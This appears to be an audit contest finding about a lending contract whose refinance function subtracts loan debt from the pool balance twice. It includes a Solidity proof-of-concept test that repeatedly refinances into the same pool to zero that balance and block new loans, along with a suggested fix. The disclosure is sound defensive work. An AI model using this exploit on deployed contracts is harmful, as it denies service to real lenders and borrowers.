20,000 USDC
View results
Submission Details
Severity: high
Valid

Attacker can deny new loans to pool by exploiting Lender.refinance() to set pool.poolBalance to 0

Summary

Attacker can deny new loans to a pool by exploiting Lender.refinance() to set pool.poolBalance to 0.

Vulnerability Details

There are two keys to this attack:

  1. Lender.refinance() doesn't verify that the input poolId parameter isn't the same as the loan's current pool, allowing a borrower to refinance into the same pool,

  2. Lender.refinance() subtracts the loan's debt from pool.poolBalance twice, first in L636 then again in L698.

An attacker can combine these to:

  1. take a loan with the pool,

  2. call refinance enough times until pool.poolBalance has been set to 0

By corrupting pool.poolBalance the pool can't take any new loans as Lender.borrow() will revert at L243.

Proof of concept. First add this utility function in Lender.sol:

// added for audit contest proof of concept
function getPoolBalance(bytes32 poolId) external view returns(uint256 poolBalance) {
return pools[poolId].poolBalance;
}

Then add the test to test/Lender.t.sol:

function test_refinanceDrainPoolBalanceDenyNewLoans() public {
// using modified setup from test_refinance()
test_borrow();
bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
// record the pool's balance before the exploit
uint256 poolBalanceBefore = lender.getPoolBalance(poolId);
assertEq(poolBalanceBefore, 900e18);
// prepare the payload
Refinance memory r = Refinance({
loanId: 0,
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
// pool starts with 1000, loan is 100, need to do 9 iterations
// to set poolBalance = 0
for(uint i; i<9;) {
lender.refinance(rs); unchecked {++i;}
}
// record the pool's balance after the exploit
uint256 poolBalanceAfter = lender.getPoolBalance(poolId);
console.log("poolBalanceBefore : ", poolBalanceBefore);
console.log("poolBalanceAfter : ", poolBalanceAfter);
// this attack corrupts the poolBalance, setting it to 0
assert(poolBalanceAfter < poolBalanceBefore);
assertEq(poolBalanceAfter, 0);
// the pool now can't take any new loans
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
vm.expectRevert();
lender.borrow(borrows);
}

Impact

The pool state gets corrupted by having pool.poolBalance set to 0, which prevents the pool from taking on any new loans.

Tools Used

Manual

Recommendations

Remove the second deduction at L698. Also consider whether borrowers should be able to refinance() back into the same pool & if not then revert in this case.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.